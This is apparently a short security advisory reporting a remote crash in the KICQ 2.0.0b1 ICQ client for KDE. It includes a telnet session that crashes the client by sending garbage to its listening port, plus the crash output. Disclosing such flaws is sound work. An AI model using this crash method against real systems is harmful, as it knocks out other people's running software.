KICQ is an ICQ client, specifically designed for the KDE. Versions affected: KICQ 2.0.0b1 using icqlib 1.0.0 Description KICQ can be remotely crashed in a very simple way. Just telnet the machine on wich KICQ is running on the port it's bound and feed some garbage. bash-2.05$ telnet 10.0.0.1 1030 Trying 10.0.0.1... Connected to 10.0.0.1. Escape character is '^]'. garbage Connection closed by foreign host. KDE Crash handler window appears and something like this goes in the console: KCrash: crashing.... crashRecursionCounter = 2 KCrash: Application Name = kicq path = <unknown> I have tried to find where in the code the error ocurrs, but the exact place seems to change every time I execute KICQ. Solution I have contacted the developers and hope a patch is released soon. More information: sourceforge.net/projects/kicq Rafael San Miguel Carrasco (_kiss_) rsanmcarat_private
